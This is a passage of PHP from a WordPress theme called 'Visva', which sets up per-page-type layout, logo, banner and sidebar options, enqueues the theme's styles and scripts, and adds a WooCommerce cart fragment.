$dzRes['tag_line'] = visva_set($options,'tag_line', VISVA_DEFAULT_TAG);
$dzRes['logo_alt'] = visva_set($options,'logo_alt', VISVA_DEFAULT_TEXT_LOGO);
if(isset($options['logo_type']) && $options['logo_type'] == 'image_logo')
{
$dzRes['logo'] = ($dzRes['header_style'] == 'header_2') ? visva_set($options['site_other_logo'], 'url', VISVA_DEFAULT_WHITE_LOGO) : visva_set($options['site_logo'], 'url', VISVA_DEFAULT_LOGO);
}
elseif(isset($options['logo_type']) && $options['logo_type'] == 'text_logo') {
$dzRes['logo_text'] = visva_set($dzRes,'logo_text', VISVA_DEFAULT_TEXT_LOGO);
$dzRes['logo_title'] = visva_set($options,'logo_title', VISVA_DEFAULT_TEXT_LOGO);
}
else {
$dzRes['logo'] = VISVA_DEFAULT_LOGO;
}
$dzRes['site_logo'] = isset($options['site_logo']) ? visva_set($options['site_logo'], 'url', VISVA_DEFAULT_LOGO) : VISVA_DEFAULT_LOGO;
$dzRes['site_other_logo'] = isset($options['site_other_logo']) ? visva_set($options['site_other_logo'], 'url', VISVA_DEFAULT_WHITE_LOGO) : VISVA_DEFAULT_WHITE_LOGO;
$dzRes['ratina_logo'] = isset($options['ratina_logo']) ? visva_set($options['ratina_logo'], 'url' , '') : '';
$dzRes['mobile_logo'] = isset($options['mobile_logo']) ? visva_set($options['mobile_logo'],'url', '') : '';
$dzRes['ratina_mobile logo'] = isset($options['ratina_mobile_logo']) ? visva_set($options['ratina_mobile_logo'], 'url', '') : '';
/* End logo setting */
/*************************************************************************************************/
$dzRes['show_search_button'] = $dzRes['header_search_on'];
$dzRes['search_button_title'] = $dzRes['header_search_button_title'];
$dzRes['hide_social_icons_mobile'] = $dzRes['mobile_header_social_link_on'];
/* Post general setting */
$dzRes['post_layout'] = visva_set($options, 'post_general_layout', 'standard');
$dzRes['post_view_on'] = visva_set($options, 'post_view_on');
$dzRes['post_start_view'] = visva_set($options, 'post_start_view', 1);
$dzRes['pre_next_post_on'] = visva_set($options, 'pre_next_post_on');
$dzRes['comment_view_on'] = visva_set($options, 'comment_view_on');
$dzRes['featured_img_on'] = visva_set($options, 'featured_img_on');
$dzRes['featured_img_on'] = visva_set($options, 'featured_img_on');
/* Post general setting end */
/* Page banner setting */
$dzRes['show_banner'] = isset($options['page_general_banner_on']) ? $options['page_general_banner_on'] : true;
$dzRes['banner_type'] = 'image';
$dzRes['banner_height'] = visva_set($options, 'page_general_banner_height', 'page_banner_big');
$dzRes['banner_custom_height'] = visva_set($options, 'page_general_banner_custom_height', '100');
$dzRes['banner_image'] = isset($options['page_general_banner']) ? visva_set($options['page_general_banner'], 'url', VISVA_BANNER) : VISVA_BANNER;
/* End Page banner setting */
/* Sidebar and there layout */
$dzRes['layout'] = 'right';
$dzRes['sidebar'] = 'dz_default_sidebar';
$dzRes['show_sidebar'] = visva_set($options, 'page_general_show_sidebar', true);
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'page_general_sidebar_layout', 'right');
$dzRes['sidebar'] = visva_set($options, 'page_general_sidebar', 'dz_default_sidebar');
}
/* End Sidebar and there layout */
$pagination = visva_set($options, 'page_general_paging', 'default');
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
/*************************************************************************************************/
$HomePagetemp = $dzRes;
/* page.php */
if(is_page()) {
$page_level_keys = array(
'page_header_setting',
'page_header_style',
'page_banner_height',
'page_banner_on',
'page_banner_hide',
'page_banner',
'banner_image',
'page_show_sidebar',
'page_sidebar_layout',
'page_sidebar',
'page_footer_setting',
'page_footer_style',
);
foreach($page_level_keys as $value)
{
$page_settings[$value] = visva_dzbase($page_level_keys)->get_meta($value);
}
/* Header & Logo Setting */
$page_header_setting = !empty($page_settings['page_header_setting'])?$page_settings['page_header_setting']:'theme_default';
if($page_header_setting == 'custom'){
$dzRes['header_style'] = !empty($page_settings['page_header_style'])?$page_settings['page_header_style']:$dzRes['header_style'];
}
$dzRes['header_top_bar_on'] = visva_set($options, $dzRes['header_style'].'_top_bar_on');
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_button_title',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on',true);
$dzRes['header_style_class'] = ($dzRes['header_style'] == 'header_2') ? 'header-transparent' : '';
if($dzRes['header_style'] == 'header_2')
{
$dzRes['logo'] = visva_set($options, 'site_other_logo');
$dzRes['logo'] = visva_set($dzRes['logo'], 'url', VISVA_DEFAULT_WHITE_LOGO);
}else{
$dzRes['logo'] = visva_set($options, 'site_logo');
$dzRes['logo'] = visva_set($dzRes['logo'], 'url', VISVA_DEFAULT_LOGO);
}
/* End Header & Logo Setting */
/* Page banner setting */
$dzRes['show_banner'] = isset($page_settings['page_banner_on']) ? $page_settings['page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = !empty($page_settings['page_banner_height'])?$page_settings['page_banner_height']:$dzRes['banner_height'];
$dzRes['banner_custom_height'] = !empty($page_settings['page_banner_custom_height'])?$page_settings['page_banner_custom_height']:$dzRes['banner_custom_height'];
$dzRes['dont_use_banner_image'] = visva_set($page_settings,'page_banner_hide', 0);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($page_settings['page_general_banner']) ? visva_set($page_settings['page_general_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End page banner setting */
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($page_settings['page_show_sidebar']) ? $page_settings['page_show_sidebar'] : $dzRes['show_sidebar'];
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($page_settings, 'page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($page_settings, 'page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
$page_footer_setting = !empty($page_settings['page_footer_setting'])?$page_settings['page_footer_setting']:'theme_default';
if($page_footer_setting == 'custom'){
$dzRes['footer_style'] = !empty($page_settings['page_footer_style'])?$page_settings['page_footer_style']:$dzRes['footer_style'];
}
}
/* single.php */
if(is_single()) {
$page_level_keys = array(
'featured_post',
'post_layout',
'post_type_gallery1',
'post_type_gallery2',
'post_type_link',
'post_type_video',
'post_type_audio',
'post_show_sidebar',
'post_sidebar_layout',
'post_sidebar'
);
foreach($page_level_keys as $value)
{
$page_settings[$value] = visva_dzbase($page_level_keys)->get_meta($value);
}
$dzRes['is_featured_post'] = visva_dzbase()->get_meta( 'featured_post' );
$post_layout = visva_dzbase()->get_meta( 'post_layout' );
$dzRes['post_layout'] = (isset($post_layout)) ? $post_layout : $dzRes['post_layout'];
if($dzRes['post_layout'] == 'slider_post_1') {
$dzRes['post_gallary_setting'] = visva_dzbase()->get_meta('post_type_gallery1');
}
if($dzRes['post_layout'] == 'slider_post_2') {
$dzRes['post_gallary_setting'] = visva_dzbase()->get_meta('post_type_gallery2');
}
$dzRes['external_link'] = visva_dzbase()->get_meta('post_type_link');
$dzRes['youtube_link'] = visva_dzbase()->get_meta('post_type_video');
$dzRes['audio_link'] = visva_dzbase()->get_meta('post_type_audio');
// Single post sidebar settings from post level.
if($dzRes['post_layout'] == 'gutenberg') {
$dzRes['sidebar'] = '';
$dzRes['layout'] = 'full';
}
else {
/* Sidebar and there layout */
$dzRes['show_sidebar'] = visva_set($page_settings,'post_show_sidebar',$dzRes['show_sidebar']);
if($dzRes['show_sidebar'] == true) {
$dzRes['layout'] = visva_set($page_settings, 'post_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($page_settings, 'post_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
}
// Single post sidebar settings from post level end.
$dzRes['related_post_title'] = visva_set($options, 'related_post_title', '');
$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
}
/* archive.php */
if(is_archive()) {
$dzRes['page_title'] = visva_set($options,'archive_page_title', esc_html__('Archive : ', 'visva'));
/* Page banner setting */
$dzRes['show_banner'] = isset($options['archive_page_banner_on']) ? $options['archive_page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = visva_set($options, 'archive_page_banner_height', $dzRes['banner_height']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'archive_page_banner_hide', '0');
$dzRes['banner_custom_height'] = visva_set($options, 'archive_page_banner_custom_height', $dzRes['banner_custom_height']);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($options['archive_page_banner']) ? visva_set($options['archive_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End Page banner setting */
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($options['archive_page_show_sidebar']) ? $options['archive_page_show_sidebar'] : true;
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'archive_page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($options, 'archive_page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
$pagination = visva_set($options, 'archive_page_paging', $dzRes['disable_ajax_pagination']);
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
}
/* tag.php */
if(is_tag()) {
$dzRes['page_title'] = visva_set($options,'tag_page_title', esc_html__('Tag : ', 'visva'));
/* Tag banner setting */
$dzRes['show_banner'] = isset($options['tag_page_banner_on']) ? $options['tag_page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = visva_set($options, 'tag_page_banner_height', $dzRes['banner_height']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'tag_page_banner_hide', '0');
$dzRes['banner_custom_height'] = visva_set($options, 'tag_page_banner_custom_height', $dzRes['banner_custom_height']);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($options['tag_page_banner']) ? visva_set($options['tag_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End Tag banner setting */
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($options['tag_page_show_sidebar']) ? $options['tag_page_show_sidebar'] : true;
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'tag_page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($options, 'tag_page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
$pagination = visva_set($options, 'tag_page_paging', $dzRes['disable_ajax_pagination']);
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
}
/* author.php */
if(is_author() ) {
$dzRes['page_title'] = visva_set($options,'author_page_title', esc_html__('Author : ', 'visva'));
$dzRes['page_title'] = $dzRes['page_title'] . get_the_author_meta('display_name');
/* Tag banner setting */
$dzRes['show_banner'] = isset($options['author_page_banner_on']) ? $options['author_page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = visva_set($options, 'author_page_banner_height', $dzRes['banner_height']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'author_page_banner_hide', '0');
$dzRes['banner_custom_height'] = visva_set($options, 'author_page_banner_custom_height', $dzRes['banner_custom_height']);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($options['author_page_banner']) ? visva_set($options['author_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End Tag banner setting */
$dzRes['show_banner'] = visva_set($options, 'author_page_banner_on', $dzRes['show_banner']);
if($dzRes['show_banner'] == true) {
$dzRes['banner_height'] = visva_set($options, 'author_page_banner_height', $dzRes['banner_height']);
$dzRes['banner_image'] = visva_set($options['author_page_banner'], 'url', $dzRes['banner_image']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'author_page_banner_hide', '0');
}
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($options['author_page_show_sidebar']) ? $options['author_page_show_sidebar'] : true;
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'author_page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($options, 'author_page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
$pagination = visva_set($options, 'author_page_paging', $dzRes['disable_ajax_pagination']);
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
}
/* index.php */
if(is_home()) {
$dzRes['page_title'] = visva_set($options, 'blog_page_title', esc_html__('Blog', 'visva'));
}
/* search.php */
if(is_search()) {
$dzRes['page_title'] = visva_set($options,'search_page_title', esc_html__('Search : ', 'visva'));
/* Search banner setting */
$dzRes['show_banner'] = isset($options['search_page_banner_on']) ? $options['search_page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = visva_set($options, 'search_page_banner_height', $dzRes['banner_height']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'search_page_banner_hide', '0');
$dzRes['banner_custom_height'] = visva_set($options, 'search_page_banner_custom_height', $dzRes['banner_custom_height']);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($options['search_page_banner']) ? visva_set($options['search_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End Search banner setting */
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($options['search_page_show_sidebar']) ? $options['search_page_show_sidebar'] : true;
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'search_page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($options, 'search_page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
$pagination = visva_set($options, 'search_page_paging', $dzRes['disable_ajax_pagination']);
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
}
if(is_page() || is_archive() || is_tag() || is_author() || is_home() || is_search() || is_404()) {
$dzRes['banner_class'] = '';
if($dzRes['header_style'] == 'header_2')
{
$dzRes['banner_class'] .= ' tp-banner';
}
if(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_big') {
$dzRes['banner_class'] .= 'dlab-bnr-inr-md';
}elseif(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_medium'){
$dzRes['banner_class'] .= 'dlab-bnr-inr-sm';
}
$dzRes['page_banner_style_attr'] = !empty($dzRes['banner_image']) ? 'background-image:url('.esc_url($dzRes['banner_image']).')' : '';
$dzRes['container_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true) ? 'min-container' : 'container';
$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
}
/* category.php */
if(is_category()) {
$dzRes['banner_height'] = '';
$dzRes['dont_use_banner_image'] = 0;
$dzRes['page_title'] = visva_set($options,'category_page_title', esc_html__('Category : ', 'visva'));
/* Search banner setting */
$dzRes['show_banner'] = isset($options['category_page_banner_on']) ? $options['category_page_banner_on'] : $dzRes['show_banner'];
$dzRes['banner_height'] = visva_set($options, 'category_page_banner_height', $dzRes['banner_height']);
$dzRes['dont_use_banner_image'] = visva_set($options, 'category_page_banner_hide', '0');
$dzRes['banner_custom_height'] = visva_set($options, 'category_page_banner_custom_height', $dzRes['banner_custom_height']);
if($dzRes['dont_use_banner_image'] == 0){
$dzRes['banner_image'] = isset($options['category_page_banner']) ? visva_set($options['category_page_banner'], 'url', $dzRes['banner_image']) : $dzRes['banner_image'];
}
else{
$dzRes['banner_image'] = "";
}
/* End Search banner setting */
/* Sidebar and there layout */
$dzRes['show_sidebar'] = isset($options['category_page_show_sidebar']) ? $options['category_page_show_sidebar'] : true;
if($dzRes['show_sidebar']) {
$dzRes['layout'] = visva_set($options, 'category_page_sidebar_layout', $dzRes['layout']);
$dzRes['sidebar'] = visva_set($options, 'category_page_sidebar', $dzRes['sidebar']);
}
/* End Sidebar and there layout */
/* To manage Category Page banner and layout settings */
$dzRes['banner_class'] = '';
if($dzRes['header_style'] == 'header_2')
{
$dzRes['banner_class'] .= ' tp-banner';
}
if(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_big') {
$dzRes['banner_class'] .= 'dlab-bnr-inr-md';
}elseif(isset($dzRes['banner_height']) && $dzRes['banner_height'] == 'page_banner_medium'){
$dzRes['banner_class'] .= 'dlab-bnr-inr-sm';
}
$dzRes['page_banner_style_attr'] = !empty($dzRes['banner_image']) ? 'background-image:url('.esc_url($dzRes['banner_image']).')' : '';
$dzRes['container_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true) ? 'min-container' : 'container';
$dzRes['layout_class'] = (!is_active_sidebar($dzRes['sidebar']) || $dzRes['layout'] == 'full' || $dzRes['show_sidebar'] != true || !visva_is_theme_sidebar_active()) ? ' col-lg-12 col-md-12 ' : ' col-lg-8 col-md-7 sidebar ';
/* End To manage Category Page banner and layout settings */
$pagination = visva_set($options, 'category_page_paging', $dzRes['disable_ajax_pagination']);
$dzRes['disable_ajax_pagination'] = ($pagination == 'load_more') ? $pagination : '';
/* all other variable will manage on category page from db. */
}
if(is_404()){
$dzRes['error_404_bg'] = visva_set($options, 'error_404_bg');
$dzRes['error_404_bg'] = !empty($dzRes['error_404_bg']['url'])?$dzRes['error_404_bg']['url']:get_template_directory_uri() . '/assets/images/background/bg2.png';
$dzRes['error_page_title'] = visva_set($options,'error_page_title', esc_html__('404','visva'));
$dzRes['error_page_subtitle'] = visva_set($options,'error_page_subtitle', esc_html__('Something went wrong !','visva'));
$dzRes['error_page_search_on'] = visva_set($options,'error_page_search_on');
$dzRes['error_page_text'] = visva_set($options,'error_page_text', esc_html__('We are sorry. But the page you are looking for cannot be found.','visva'));
$dzRes['error_page_text2'] = visva_set($options,'error_page_text2', esc_html__('You can go back to the Main Page by clicking the button.','visva'));
$dzRes['error_page_button_text'] = visva_set($options,'error_page_button_text', esc_html__('Back to Home','visva'));
}
//* Logo Setting According To Theme Color and Header *//
/* Remove from package */
$dzRes['predefined_color_skin'] = visva_set($options, 'predefined_color_skin');
/* Remove from package */
$dzRes['header_logo'] = $dzRes['site_logo'];
$dzRes['footer_logo'] = $dzRes['site_other_logo'];
$dzRes['loading_logo'] = $dzRes['site_logo'];
if(in_array($dzRes['predefined_color_skin'], array('black-blue-default','blue-white-dark','orange-white-dark', 'black-white-dark')))
{
$dzRes['loading_logo'] = $dzRes['site_other_logo'];
}
if(in_array($dzRes['header_style'], array('header_7')))
{
$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_logo'];
if(in_array($dzRes['predefined_color_skin'], array('black-blue-default','blue-white-dark','orange-white-dark', 'black-white-dark')))
{
$dzRes['footer_logo'] = $dzRes['site_other_logo'];
}
}
elseif(in_array($dzRes['header_style'], array('header_5')))
{
$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
if(in_array($dzRes['predefined_color_skin'], array('blue-white-light-2', 'orange-white-light', 'black-white-light')))
{
$dzRes['footer_logo'] = $dzRes['site_logo'];
}
}
elseif(in_array($dzRes['header_style'], array('header_3')))
{
$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
if(in_array($dzRes['predefined_color_skin'], array('blue-white-light-2', 'orange-white-light', 'black-white-light')))
{
$dzRes['footer_logo'] = $dzRes['site_logo'];
}
}
elseif(
in_array($dzRes['header_style'], array('header_1', 'header_2','header_4','header_6','header_8')) &&
in_array($dzRes['predefined_color_skin'], array('black-blue-default', 'blue-white-light-2', 'orange-white-light', 'black-white-light'))
)
{
$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_logo'];
if(in_array($dzRes['predefined_color_skin'], array('black-blue-default')))
{
$dzRes['footer_logo'] = $dzRes['site_other_logo'];
}
}
elseif(
in_array($dzRes['header_style'], array('header_1', 'header_2','header_4','header_6','header_8')) &&
in_array($dzRes['predefined_color_skin'], array('blue-white-dark','orange-white-dark', 'black-white-dark'))
)
{
$dzRes['header_logo'] = $dzRes['footer_logo'] = $dzRes['site_other_logo'];
}
/* Set All Option Values to Global Variable */
$visva_option = $dzRes;
if($visva_option['website_status'] != 'live_mode' && !is_home() && !is_front_page() && !is_user_logged_in())
{
wp_redirect(home_url( '/' ));
}
}
function visva_enqueue_scripts() {
$options = visva_dzbase()->option();
$skin = visva_set($options, 'predefined_color_skin','green');
$color_skin_setting = visva_set($options, 'color_skin_setting','predefined_color_skin');
/* style */
wp_enqueue_style( 'fontawesome', get_template_directory_uri() . '/assets/css/all-min.css' );
wp_enqueue_style( 'flaticon', get_template_directory_uri() . '/assets/css/flaticon.css' );
wp_enqueue_style( 'themify-icons', get_template_directory_uri() . '/assets/css/themify-icons.css' );
wp_enqueue_style( 'magnific-popup', get_template_directory_uri() . '/assets/css/magnific-popup-min.css' );
wp_enqueue_style( 'lightgallery', get_template_directory_uri() . '/assets/css/lightgallery-min.css' );
wp_enqueue_style( 'line-awesome', get_template_directory_uri() . '/assets/css/line-awesome-min.css' );
wp_enqueue_style( 'aos', get_template_directory_uri() . '/assets/css/aos.css' );
wp_enqueue_style( 'twentytwenty', get_template_directory_uri() . '/assets/css/twentytwenty.css' );
wp_enqueue_style( 'swiper-css', get_template_directory_uri() . '/assets/css/swiper-bundle-min.css' );
if(class_exists('woocommerce')) wp_enqueue_style( 'visva-woocommerce', get_template_directory_uri() . '/assets/css/woocommerce.css' );
if(is_child_theme()){
wp_enqueue_style( 'visva-parent-style', get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'visva-main-style', get_stylesheet_uri() );
}else{
wp_enqueue_style( 'visva-main-style', get_stylesheet_uri() );
}
wp_enqueue_style( 'visva-style', get_template_directory_uri() . '/assets/css/style.css' );
if($color_skin_setting == 'predefined_color_skin'){
wp_enqueue_style( 'visva-skin', get_template_directory_uri() . '/assets/css/skin/'.$skin.'.css' );
}else{
wp_enqueue_style( 'visva-skin', get_template_directory_uri() . '/assets/css/skin/theme.css' );
}
wp_enqueue_style( 'visva-custom', get_template_directory_uri() . '/assets/css/custom.css' );
/* scripts */
wp_enqueue_script( 'jquery-ui-core');
wp_enqueue_script( 'bootstrap-bundle', get_template_directory_uri().'/assets/js/bootstrap-bundle-min.js', array( 'jquery' ), '5.0.0', true );
wp_enqueue_script( 'magnific-popup', get_template_directory_uri().'/assets/js/magnific-popup.js', array( 'jquery' ), '1.1.0', true );
wp_enqueue_script( 'counterup', get_template_directory_uri().'/assets/js/counterup-min.js', array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'imagesloaded', '', array(), false, true ); /* Pre-packaged Library */
wp_enqueue_script( 'masonry', '', array(), false, true ); /* Pre-packaged Library */
wp_enqueue_script( 'masonry-multiple', get_template_directory_uri().'/assets/js/masonry-filter-multiple.js', array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'light-gallery', get_template_directory_uri().'/assets/js/lightgallery-all-min.js', array( 'jquery' ), '1.6.12', true );
wp_enqueue_script( 'light-gallery-reduild', get_template_directory_uri().'/assets/js/rebuildLightGallery.js', array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'countdown', get_template_directory_uri().'/assets/js/jquery-countdown.js', array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'waypoint', get_template_directory_uri().'/assets/js/waypoints-min.js', array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'jquery-event-move', get_template_directory_uri().'/assets/js/jquery-event-move.js', array(), false, true );
wp_enqueue_script( 'jquery-twentytwenty', get_template_directory_uri().'/assets/js/jquery-twentytwenty.js', array(), false, true );
wp_enqueue_script( 'swiper-js', get_template_directory_uri().'/assets/js/swiper-bundle-min.js', array( 'jquery' ), '6.5.0', true );
wp_enqueue_script( 'aos', get_template_directory_uri().'/assets/js/aos.js', array(), false, true );
wp_enqueue_script( 'visva-main-script', get_template_directory_uri().'/assets/js/custom.js', array(), false, true );
wp_enqueue_script( 'visva-wp-script', get_template_directory_uri().'/assets/js/wp-script.js', array(), false, true );
wp_enqueue_script( 'visva-dz-carousel', get_template_directory_uri().'/assets/js/dz-carousel.js', array( 'jquery' ), '1.0', true );
if( is_singular() ) wp_enqueue_script('comment-reply');
}
add_action( 'wp_enqueue_scripts', 'visva_enqueue_scripts' );
/*-------------------------------------------------------------*/
function visva_theme_slug_fonts_url() {
$fonts_url = '';
/* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$Montserrat = _x( 'on', 'Montserrat font: on or off', 'visva' );
$Source_Sans_Pro = _x( 'on', 'Source Sans Pro font: on or off', 'visva' );
$font_families = array();
if ( 'off' !== $Montserrat ) {
$font_families[] = 'Montserrat:wght@100;200;300;400;500;600;700;800;900';
}
if ( 'off' !== $Source_Sans_Pro ) {
$font_families[] = '&family=Source+Sans+Pro:ital,wght@0,200;0,300;0,400;0,600;0,700;0,900;1,200;1,300;1,400;1,600;1,700;1,900';
}
$font_families = array_unique( $font_families);
$font_url_string = '';
foreach($font_families as $font_family){
$font_url_string .= $font_family;
}
$query_args = array(
'family' =>$font_url_string,
'display' => 'swap',
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css2');
return esc_url_raw( $fonts_url );
}
function visva_theme_slug_scripts_styles() {
wp_enqueue_style( 'visva-theme-slug-fonts', visva_theme_slug_fonts_url(), array(), null );
}
add_action( 'wp_enqueue_scripts', 'visva_theme_slug_scripts_styles' );
function visva_add_editor_styles() {
add_editor_style( 'custom-editor-style.css' );
}
add_action( 'admin_init', 'visva_add_editor_styles' );
add_action('init', 'visva_custom_icon');
function visva_custom_icon() {
if( function_exists( 'kc_add_icon' ) ) {
kc_add_icon( get_template_directory_uri() . '/assets/css/kc_custom.css' ); /*added to show custom icons/ images for kc sections */
}
}
function visva_setup_theme_supported_features() {
add_theme_support( 'editor-color-palette', array(
array(
'name' => esc_html__( 'strong magenta', 'visva' ),
'slug' => 'strong-magenta',
'color' => '#a156b4',
),
array(
'name' => esc_html__( 'light grayish magenta', 'visva' ),
'slug' => 'light-grayish-magenta',
'color' => '#d0a5db',
),
array(
'name' => esc_html__( 'very light gray', 'visva' ),
'slug' => 'very-light-gray',
'color' => '#eee',
),
array(
'name' => esc_html__( 'very dark gray', 'visva' ),
'slug' => 'very-dark-gray',
'color' => '#444',
),
) );
}
add_action( 'after_setup_theme', 'visva_setup_theme_supported_features' );
/*js Template Path */
function visva_set_js_var() {
global $visva_option;
$theme_options = visva_get_theme_option();
$mobile_header_social_link_on = visva_set($visva_option,'mobile_header_social_link_on');
$cart_on_mobile = visva_set($theme_options,'cart_on_mobile');
$mobile_header_login_on = visva_set($theme_options,'mobile_header_login_on');
$mobile_header_register_on = visva_set($theme_options,'mobile_header_register_on');
$cart_on_mobile = ($cart_on_mobile)?'Yes':'No';
$mobile_header_login_on = ($mobile_header_login_on)?'Yes':'No';
$mobile_header_register_on = ($mobile_header_register_on)?'Yes':'No';
$mobile_header_social_link_on = ($mobile_header_social_link_on)?'Yes':'No';
$js_data_array = array( 'template_directory_uri' => get_template_directory_uri(),
'admin_ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_security_nonce' => wp_create_nonce("ajax_security_key"),
'cart_on_mobile'=>$cart_on_mobile,
'login_on_mobile'=>$mobile_header_login_on,
'register_on_mobile'=>$mobile_header_register_on,
'header_social_link_on_mobile'=>$mobile_header_social_link_on,
);
wp_localize_script( 'jquery', 'visva_js_data', $js_data_array );
}
add_action('wp_enqueue_scripts','visva_set_js_var');
function visva_load_admin_things() {
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
wp_enqueue_style('thickbox');
}
add_action( 'admin_enqueue_scripts', 'visva_load_admin_things' );
function visva_get_attachment( $attachment_id ) {
$attachment = get_post( $attachment_id );
return array(
'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
'caption' => $attachment->post_excerpt,
'description' => $attachment->post_content,
'href' => get_permalink( $attachment->ID ),
'src' => $attachment->guid,
'title' => $attachment->post_title
);
}
function visva_website_status()
{
global $visva_option;
extract($visva_option);
if($website_status == 'comingsoon_mode' && !is_user_logged_in()) {
get_template_part('dz-inc/elements/comingsoon/comingsoon_1');
}
elseif($website_status == 'maintenance_mode' && !is_user_logged_in()) {
get_template_part('dz-inc/elements/maintinance/maintinance_1');
}
}
add_action('visva_website_status', 'visva_website_status');
/* Ensure cart contents update when products are added to the cart via AJAX (place the following in main functions.php) */
add_filter( 'woocommerce_add_to_cart_fragments', 'visva_header_add_to_cart_fragment' );
function visva_header_add_to_cart_fragment( $fragments )
{
ob_start();
?>
<a class="site-button-link cart-btn" href="<?php echo esc_url(wc_get_cart_url()); ?>" title="<?php echo esc_attr__( 'View your shopping cart','visva'); ?>"><i class="fa fa-shopping-bag"></i><span class="badge bg-black cart-count"><?php echo sprintf (_n( '%d', '%d', WC()->cart->get_cart_contents_count(), 'visva' ), WC()->cart->get_cart_contents_count() ); ?></span></a>
<?php
$fragments['a.cart-btn'] = ob_get_clean();
return $fragments;
}
